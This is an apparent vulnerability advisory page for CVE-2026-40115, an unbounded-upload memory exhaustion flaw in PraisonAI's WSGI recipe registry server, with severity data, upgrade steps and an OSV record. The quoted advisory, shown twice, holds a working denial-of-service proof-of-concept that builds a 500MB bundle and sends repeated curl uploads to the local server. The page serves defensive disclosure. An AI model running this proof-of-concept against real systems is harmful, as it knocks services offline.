CVE-2026-40115: PraisonAI Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-2xgv-5cv2-47vv
CVSS 6.2
CWE-770
Published
Advisory Summary

CVE-2026-40115 is a MODERATE (CVSS 6.2) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves praisonai has unrestricted upload size in wsgi recipe registry server that enables memory exhaustion dos. Remediation is available by upgrading affected packages to version 4.5.128.

CVE-2026-40115 at a Glance

CVE Identifier CVE-2026-40115
GHSA Identifier GHSA-2xgv-5cv2-47vv
Severity MODERATE
CVSS v3.1 Base Score 6.2
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-40115

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.5.128
pip install PraisonAI>=4.5.128
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-40115, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.128), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The WSGI-based recipe registry server (`server.py`) reads the entire HTTP request body into memory based on the client-supplied `Content-Length` header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (`serve.py`) has `RequestSizeLimitMiddleware` with a 10MB limit, but the WSGI server lacks any equivalent protection. ## Details The vulnerable code path in `src/praisonai/praisonai/recipe/server.py`: **1. No size limit on body read (line 551-555):** ```python content_length = int(environ.get("CONTENT_LENGTH", 0)) body = environ["wsgi.input"].read(content_length) if content_length > 0 else b"" ``` The `content_length` is taken directly from the HTTP header with no maximum check. The entire body is read into a single `bytes` object in memory. **2. Second in-memory copy via multipart parsing (line 169-172):** ```python result = {"fields": {}, "files": {}} boundary_bytes = f"--{boundary}".encode() parts = body.split(boundary_bytes) ``` The `_parse_multipart` method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies. **3. Third copy to temp file (line 420-421):** ```python with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp: tmp.write(bundle_content) ``` The bundle content is then written to disk and persisted in the registry, also without size checks. **4. Authentication disabled by default (line 91-94):** ```python def _check_auth(self, headers: Dict[str, str]) -> bool: if not self.token: return True # No token configured = no auth ``` The `self.token` defaults to `None` unless `PRAISONAI_REGISTRY_TOKEN` is set or `--token` is passed on the CLI. The entry point is `praisonai registry serve` (cli/features/registry.py:176), which calls `run_server()` binding to `127.0.0.1:7777` by default. In contrast, `serve.py` (the Starlette server) has `RequestSizeLimitMiddleware` at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent. ## PoC ```bash # Start the registry server with default settings (no auth, localhost) praisonai registry serve & # Step 1: Create a large bundle (~500MB) mkdir -p /tmp/dos-test echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500 tar czf /tmp/dos-bundle.praison -C /tmp/dos-test . # Step 2: Upload — server buffers ~500MB into RAM with no limit curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \ -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true' # Step 3: Repeat to exhaust memory for v in 1.0.{1..10}; do curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \ -F 'bundle=@/tmp/dos-bundle.praison' & done # Server process will be OOM-killed ``` ## Impact - **Memory exhaustion**: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer). - **Disk exhaustion**: Repeated uploads persist bundles to disk at `~/.praison/registry/` with no quota, potentially filling the filesystem. - **No authentication barrier**: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this. - **Availability impact**: The registry server becomes unavailable, blocking recipe publish/download operations. The default bind address of `127.0.0.1` limits exploitability to local attackers or SSRF scenarios. If a user binds to `0.0.0.0` (common for shared environments or containers), the attack surface extends to the network. ## Recommended Fix Add a request size limit to the WSGI application, consistent with `serve.py`'s 10MB default: ```python # In create_wsgi_app(), before reading the body: MAX_REQUEST_SIZE = 10 * 1024 * 1024 # 10MB, matching serve.py def application(environ, start_response): # ... existing code ... # Read body with size limit try: content_length = int(environ.get("CONTENT_LENGTH", 0)) except (ValueError, TypeError): content_length = 0 if content_length > MAX_REQUEST_SIZE: status = "413 Request Entity Too Large" response_headers = [("Content-Type", "application/json")] body = json.dumps({ "error": { "code": "request_too_large", "message": f"Request body too large. Max: {MAX_REQUEST_SIZE} bytes" } }).encode() start_response(status, response_headers) return [body] body = environ["wsgi.input"].read(content_length) if content_length > 0 else b"" # ... rest of handler ... ``` Additionally, consider: - Adding a `--max-request-size` CLI flag to `praisonai registry serve` - Adding per-recipe disk quota enforcement in `LocalRegistry.publish()`

CVE-2026-40115 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.5.128
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
< 4.5.128
4.5.128

References

Frequently Asked Questions

What is CVE-2026-40115?
CVE-2026-40115 is a security vulnerability in PraisonAI involving PraisonAI has Unrestricted Upload Size in WSGI Recipe Registry Server that Enables Memory Exhaustion DoS under CWE-770: Allocation of Resources Without Limits or Throttling.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.5.128 across affected packages: PraisonAI.
What version fixes CVE-2026-40115?
Upgrading to 4.5.128 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.5.128. Upgrade your dependency to 4.5.128 or later.
What is the CVSS score of CVE-2026-40115?
CVE-2026-40115 has a CVSS v3.1 base score of 6.2 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-40115?
CVE-2026-40115 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check PyPI dependencies for CVE-2026-40115?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2xgv-5cv2-47vv",
  "modified" : "2026-04-10T19:23:13Z",
  "published" : "2026-04-10T19:23:13Z",
  "aliases" : [ "CVE-2026-40115" ],
  "summary" : "PraisonAI has Unrestricted Upload Size in WSGI Recipe Registry Server that Enables Memory Exhaustion DoS",
  "details" : "## Summary\n\nThe WSGI-based recipe registry server (`server.py`) reads the entire HTTP request body into memory based on the client-supplied `Content-Length` header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (`serve.py`) has `RequestSizeLimitMiddleware` with a 10MB limit, but the WSGI server lacks any equivalent protection.\n\n## Details\n\nThe vulnerable code path in `src/praisonai/praisonai/recipe/server.py`:\n\n**1. No size limit on body read (line 551-555):**\n```python\ncontent_length = int(environ.get(\"CONTENT_LENGTH\", 0))\nbody = environ[\"wsgi.input\"].read(content_length) if content_length > 0 else b\"\"\n```\n\nThe `content_length` is taken directly from the HTTP header with no maximum check. The entire body is read into a single `bytes` object in memory.\n\n**2. Second in-memory copy via multipart parsing (line 169-172):**\n```python\nresult = {\"fields\": {}, \"files\": {}}\nboundary_bytes = f\"--{boundary}\".encode()\nparts = body.split(boundary_bytes)\n```\n\nThe `_parse_multipart` method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.\n\n**3. Third copy to temp file (line 420-421):**\n```python\nwith tempfile.NamedTemporaryFile(suffix=\".praison\", delete=False) as tmp:\n    tmp.write(bundle_content)\n```\n\nThe bundle content is then written to disk and persisted in the registry, also without size checks.\n\n**4. Authentication disabled by default (line 91-94):**\n```python\ndef _check_auth(self, headers: Dict[str, str]) -> bool:\n    if not self.token:\n        return True  # No token configured = no auth\n```\n\nThe `self.token` defaults to `None` unless `PRAISONAI_REGISTRY_TOKEN` is set or `--token` is passed on the CLI.\n\nThe entry point is `praisonai registry serve` (cli/features/registry.py:176), which calls `run_server()` binding to `127.0.0.1:7777` by default.\n\nIn contrast, `serve.py` (the Starlette server) has `RequestSizeLimitMiddleware` at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.\n\n## PoC\n\n```bash\n# Start the registry server with default settings (no auth, localhost)\npraisonai registry serve &\n\n# Step 1: Create a large bundle (~500MB)\nmkdir -p /tmp/dos-test\necho '{\"name\":\"dos\",\"version\":\"1.0.0\"}' > /tmp/dos-test/manifest.json\ndd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500\ntar czf /tmp/dos-bundle.praison -C /tmp/dos-test .\n\n# Step 2: Upload — server buffers ~500MB into RAM with no limit\ncurl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \\\n  -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true'\n\n# Step 3: Repeat to exhaust memory\nfor v in 1.0.{1..10}; do\n  curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \\\n    -F 'bundle=@/tmp/dos-bundle.praison' &\ndone\n# Server process will be OOM-killed\n```\n\n## Impact\n\n- **Memory exhaustion**: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer).\n- **Disk exhaustion**: Repeated uploads persist bundles to disk at `~/.praison/registry/` with no quota, potentially filling the filesystem.\n- **No authentication barrier**: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this.\n- **Availability impact**: The registry server becomes unavailable, blocking recipe publish/download operations.\n\nThe default bind address of `127.0.0.1` limits exploitability to local attackers or SSRF scenarios. If a user binds to `0.0.0.0` (common for shared environments or containers), the attack surface extends to the network.\n\n## Recommended Fix\n\nAdd a request size limit to the WSGI application, consistent with `serve.py`'s 10MB default:\n\n```python\n# In create_wsgi_app(), before reading the body:\nMAX_REQUEST_SIZE = 10 * 1024 * 1024  # 10MB, matching serve.py\n\ndef application(environ, start_response):\n    # ... existing code ...\n    \n    # Read body with size limit\n    try:\n        content_length = int(environ.get(\"CONTENT_LENGTH\", 0))\n    except (ValueError, TypeError):\n        content_length = 0\n    \n    if content_length > MAX_REQUEST_SIZE:\n        status = \"413 Request Entity Too Large\"\n        response_headers = [(\"Content-Type\", \"application/json\")]\n        body = json.dumps({\n            \"error\": {\n                \"code\": \"request_too_large\",\n                \"message\": f\"Request body too large. Max: {MAX_REQUEST_SIZE} bytes\"\n            }\n        }).encode()\n        start_response(status, response_headers)\n        return [body]\n    \n    body = environ[\"wsgi.input\"].read(content_length) if content_length > 0 else b\"\"\n    # ... rest of handler ...\n```\n\nAdditionally, consider:\n- Adding a `--max-request-size` CLI flag to `praisonai registry serve`\n- Adding per-recipe disk quota enforcement in `LocalRegistry.publish()`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.128"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2xgv-5cv2-47vv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40115"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:23:13Z",
    "nvd_published_at" : "2026-04-09T22:16:35Z"
  }
}